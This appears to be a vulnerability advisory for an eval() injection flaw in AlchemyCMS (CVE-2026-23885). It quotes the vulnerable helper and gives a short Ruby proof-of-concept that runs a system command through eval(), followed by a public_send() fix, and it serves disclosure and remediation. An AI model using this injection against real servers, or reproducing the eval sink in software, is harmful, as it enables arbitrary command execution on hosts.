
Proof-of-concept exploit for CVE-2026-23885, an authenticated RCE in AlchemyCMS via eval() injection, with technical analysis and remediation guidance.
A critical security vulnerability involving Improper Neutralization of Directives in Dynamically Evaluated Code (CWE-95) was discovered in the AlchemyCMS framework. The vulnerability allows an authenticated user with administrative privileges to execute arbitrary Ruby code and system commands on the host server via an eval() injection sink.
app/helpers/alchemy/resources_helper.rbAlchemy::ResourcesHelper#resource_url_proxyThe helper method insecurely processes the engine_name attribute from the resource_handler object. This attribute is passed directly into the Ruby eval() function without prior sanitization or validation.
def resource_url_proxy(resource_handler)
if resource_handler.in_engine?
eval(resource_handler.engine_name) # rubocop:disable Security/Eval
else
main_app
end
end
The presence of the # rubocop:disable Security/Eval directive confirms that the security implications of using eval() were recognized but bypassed during implementation.
3. Proof of Concept (PoC)
Attack Vector
The vulnerability is triggered within the AlchemyCMS administrative interface when rendering resource-based views (e.g., Sites or Languages). If an attacker can manipulate the module configuration or the underlying resource data, they can achieve execution.
Standalone Exploitation Script
The following script demonstrates the arbitrary code execution by simulating the vulnerable helper environment:
Ruby
require 'ostruct'
def resource_url_proxy(resource_handler)
if resource_handler.engine_name && !resource_handler.engine_name.empty?
eval(resource_handler.engine_name)
end
end
# Payload: Executes system 'id' command and creates evidence file
payload = "system('id > /tmp/rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)
resource_url_proxy(handler)
Evidence of Execution
Upon execution, the system command is processed, granting the attacker access to the server's environment.

Integrity: High. Ability to modify files and database records.
Availability: High. Potential for complete system disruption.
CVE ID: CVE-2026-23885
7.4.12
8.0.3
The fix involves replacing the eval() call with public_send() to securely route requests to the intended engine proxy:
Ruby
main_app.public_send(resource_handler.engine_name) if resource_handler.engine_name.present?
CVE Reference: CVE-2026-23885